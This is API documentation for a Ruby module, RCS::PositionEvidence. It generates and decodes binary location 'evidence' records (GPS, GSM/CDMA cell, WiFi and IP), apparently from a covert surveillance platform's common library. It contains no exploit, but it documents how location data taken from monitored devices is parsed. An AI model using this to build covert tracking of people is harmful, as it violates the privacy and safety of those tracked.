Module: RCS::PositionEvidence

Defined in:
lib/rcs-common/evidence/position.rb

Constant Summary collapse

ELEM_DELIMITER =
0xABADC0DE
LOCATION_VERSION =
2010082401
LOCATION_GPS =
0x0001
LOCATION_GSM =
0x0002
LOCATION_WIFI =
0x0003
LOCATION_IP =
0x0004
LOCATION_CDMA =
0x0005
PLAIN_GPS =
0x00
CHECKIN_FACEBOOK =
0x01

Instance Method Summary collapse

Instance Method Details

#additional_headerObject



57
58
59
60
61
62
63
64
65
# File 'lib/rcs-common/evidence/position.rb', line 57

def additional_header
  @loc_type = [LOCATION_GPS, LOCATION_GSM, LOCATION_WIFI, LOCATION_IP].sample
  #@loc_type = [LOCATION_GPS].sample
  @nstruct = (@loc_type == LOCATION_IP) ? 1 : rand(5) + 1
  header = StringIO.new
  header.write [LOCATION_VERSION, @loc_type, @nstruct].pack("I*")
  
  header.string
end

#contentObject



21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# File 'lib/rcs-common/evidence/position.rb', line 21

def content
  content = StringIO.new
  
  case @loc_type
    when LOCATION_GPS
      content.write [@loc_type, 0, 0].pack('L*')
      content.write Time.now.getutc.to_filetime.pack('L*')
      content.write GPS_Position.struct(45.12345, 9.54321, rand(10..100), [0,1].sample, "This is my place")
      content.write [ ELEM_DELIMITER ].pack('L')

    when LOCATION_GSM
      content.write [@loc_type, 0, 0].pack('L*')
      content.write Time.now.getutc.to_filetime.pack('L*')
      content.write CELL_Position.struct(222, 1, 61208, 528, -92, 0)
      content.write [ ELEM_DELIMITER ].pack('L')

    when LOCATION_WIFI
      content.write ["\x00\x17\xC2\xF8\x9C\x60", "\x00\x25\xC9\xDF\xAB\xA7", "\x38\x22\x9D\xF7\x84\xF4"].sample
      content.write [0, 0].pack('C*') # dummy for the C struck packing
      content.write [4].pack('L')
      content.write ["FASTWEB-1-0017C2F89C60", "ht-guest-wifi", "FASTWEB-1-38229DF784F4"].sample.ljust(32, "\x00")
      content.write [rand(100) * -1].pack('l')

    when LOCATION_IP
      content.write ["8.8.8.8", "8.8.4.4", "4.2.2.2"].sample
  end

  content.string
end

#decode_additional_header(data) ⇒ Object



67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/rcs-common/evidence/position.rb', line 67

def decode_additional_header(data)
  raise EvidenceDeserializeError.new("incomplete LOCATION") if data.nil? or data.size == 0

  binary = StringIO.new data

  version, type, number = binary.read(12).unpack("I*")
  raise EvidenceDeserializeError.new("invalid log version for LOCATION") unless version == LOCATION_VERSION

  ret = Hash.new
  ret[:loc_type] = type
  return ret
end

#decode_content(common_info, chunks) ⇒ Object



80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# File 'lib/rcs-common/evidence/position.rb', line 80

def decode_content(common_info, chunks)
  stream = StringIO.new chunks.join

  case common_info[:loc_type]
    when LOCATION_WIFI
      info = Hash[common_info]
      info[:data] ||= Hash.new
      info[:data][:type] = 'WIFI'
      info[:data][:wifi] = []
      until stream.eof?
        # we have 6 byte of mac address
        # and 2 of padding (using C struct is BAAAAD)
        mac = stream.read 6
        stream.read 2

        len = stream.read(4).unpack('L').first
        ssid = stream.read(len)
        
        stream.read(32-len)
        sig = stream.read(4).unpack('l').first

        mac_s = "%02X:%02X:%02X:%02X:%02X:%02X" %
                            [mac[0].unpack('C').first,
                             mac[1].unpack('C').first,
                             mac[2].unpack('C').first,
                             mac[3].unpack('C').first,
                             mac[4].unpack('C').first,
                             mac[5].unpack('C').first]

        info[:data][:wifi] << {:mac => mac_s, :sig => sig, :ssid => ssid}
      end
      yield info if block_given?

    when LOCATION_IP
      info = Hash[common_info]
      info[:data] ||= Hash.new
      info[:data][:type] = 'IPv4'
      ip = stream.read_ascii_string
      info[:data][:ip] = ip unless ip.nil?
      yield info if block_given?

    when LOCATION_GPS
      until stream.eof?
        info = Hash[common_info]
        info[:data] ||= Hash.new
        #info[:data][:type] = 'GPS'
        type, size, version = stream.read(12).unpack('L*')
        low, high = *stream.read(8).unpack('L*')
        info[:da] = Time.from_filetime(high, low)

        gps = GPS_Position.new
        gps.read stream
        info[:data][:latitude] = gps.latitude.to_f
        info[:data][:longitude] = gps.longitude.to_f
        info[:data][:accuracy] = gps.accuracy.to_i
        info[:data][:type] = case (gps.flags.to_i)
                               when PLAIN_GPS
                                 'GPS'
                               when CHECKIN_FACEBOOK
                                 'FACEBOOK'
                             end
        info[:data][:address] = {text: gps.checkin_name} if info[:data][:type] != 'GPS'

        delim = stream.read(4).unpack('L').first
        raise EvidenceDeserializeError.new("Malformed LOCATION GPS (missing delimiter)") unless delim == ELEM_DELIMITER

        yield info if block_given?
      end

    when LOCATION_GSM, LOCATION_CDMA
      until stream.eof?
        info = Hash[common_info]
        info[:data] ||= Hash.new
        info[:data][:type] = (info[:loc_type] == LOCATION_GSM) ? 'GSM' : 'CDMA'
        type, size, version = stream.read(12).unpack('L*')
        low, high = *stream.read(8).unpack('L*')
        info[:da] = Time.from_filetime(high, low)
        cell = CELL_Position.new
        cell.read stream

        if info[:loc_type] == LOCATION_GSM then
          info[:data][:cell] = {:mcc => cell.mcc, :mnc => cell.mnc, :lac => cell.lac, :cid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
        else
          info[:data][:cell] = {:mcc => cell.mcc, :sid => cell.mnc, :nid => cell.lac, :bid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
        end

        delim = stream.read(4).unpack('L').first
        raise EvidenceDeserializeError.new("Malformed LOCATION CELL (missing delimiter)") unless delim == ELEM_DELIMITER
        yield info if block_given?
      end
    else
      raise EvidenceDeserializeError.new("Unsupported LOCATION type (#{info[:loc_type]})")
  end
  
  :delete_raw
end

#generate_contentObject



51
52
53
54
55
# File 'lib/rcs-common/evidence/position.rb', line 51

def generate_content
  ret = Array.new
  @nstruct.times { ret << content() }
  ret
end